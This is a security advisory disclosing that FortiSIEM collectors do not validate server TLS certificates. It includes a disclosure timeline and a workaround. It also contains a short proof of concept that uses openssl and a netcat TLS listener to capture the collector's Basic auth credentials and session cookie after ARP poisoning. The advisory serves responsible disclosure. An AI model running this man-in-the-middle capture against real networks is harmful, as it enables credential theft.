Share
Product Name: FortiSIEM  
Tested versions: 5.0, 5.2.1  
Fixed in version: Only a manual workaround is available from Fortinet as of  
this writing  
Weakness Type: CWE-295 - Improper Certificate Validation  
Discovered by: Andrew Klaus (Cybera Canada)  
CVE: Pending  
  
  
== Disclosure Timeline:  
June 25, 2019: Initial Disclosure to Fortinet PSIRT (Received automated  
ticket response)  
July 15, 2019: Received response that the issue was forwarded to R&D Team  
July 23, 2019: Fortinet contacted me to test a configuration change  
July 24, 2019: Provided results of configuration change to Fortinet  
Sept 23, 2019: Reminded Fortinet of public disclosure date  
Oct 1, 2019: Public Disclosure  
  
  
== Summary:  
A FortiSIEM collector connects to a Supervisor/Worker over HTTPS TLS  
(443/TCP) to register itself as well as relaying event data such as syslog,  
netflow, SNMP, etc.  
  
When the Collector (the client) connects to the Supervisor/Worker (the  
server), the client does not validate the server-provided certificate  
against its root-CA store. Since the client does no server certificate  
validation, this means any certificate presented to the client will be  
considered valid and the connection will succeed.  
  
If an attacker spoofs a Worker/Supervisor using an ARP or DNS poisoning  
attack (or any other MITM attack), the Collector will blindly connect to  
the attacker's HTTPS TLS server. It will disclose the authentication  
password used along with any data being relayed.  
  
  
== Workaround:  
Fortinet has created a document for customers to follow to enable  
inter-node TLS validation.  
  
At this time, Fortinet won't set this flag by default since it will impact  
their existing customers. All new and existing customers will need to  
follow the workaround guide that Fortinet is providing in order to mitigate.  
  
  
== Proof of Concept (PoC):  
  
This PoC assumes a working Collector + Supervisor/Worker setup. This could  
just as easily work on a Collector that is first being registered.  
  
Note: This utilizes OpenBSD's netcat, which supports TLS. "nc" on other  
operating systems may not support TLS.  
  
(On attacker system)  
First generate a new self-signed certificate:  
$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -nodes  
-days 365  
  
Enter any dummy certificate details information.  
  
Netcat listen on a TLS socket:  
  
# nc -ckv6l -K key.pem -C cert.pem %IP% 443  
Listening on %IP% 443  
  
After successfully poisoning the ARP cache to redirect the Collector to a  
rogue server. The Collector will now connect to the attacker's TLS socket  
and start sending data.  
  
Connection received on %COLLECTOR-IP% 35244  
GET  
/phoenix/rest/sync/task?custId=%ID%&agentId=%ID%&time=1561402888&phProcessName=phMonitorAgent  
HTTP/1.1  
Authorization: Basic %AUTH-DATA%  
Host: %SUPERVISOR-HOSTNAME%  
Accept: */*  
Cookie: JSESSIONID=%COOKIE-VALUE%  
  
  
== Other Observations:  
  
I observed this in the phoenix.log file on the FortiSIEM appliance:  
[PH_GENERIC_DEBUG]:[eventSeverity]=PHL_DEBUG,[procName]=<unknown>,[fileName]=phHttpClient.cpp,[lineNumber]=1862,[phLogDetail]=set  
CURLOPT_SSL_VERIFYPEER to no  
  
This "VERIFYPEER" option determines whether curl verifies the authenticity  
of the peer's certificate. A value of 1 means curl verifies the SSL/TLS  
server certificate; 0 (zero) means it does not:  
https://curl.haxx.se/libcurl/c/CURLOPT_SSL_VERIFYPEER.html.  
  
The following provisioning scripts also have hardcoded curl commands with  
the `-k / --insecure` flag set, which makes them susceptible to MITM'ing  
connections when provisioning:  
  
phProvisionCollector  
phProvisionWorker  
elastic_deploy.sh  
elastic_deploy_url.sh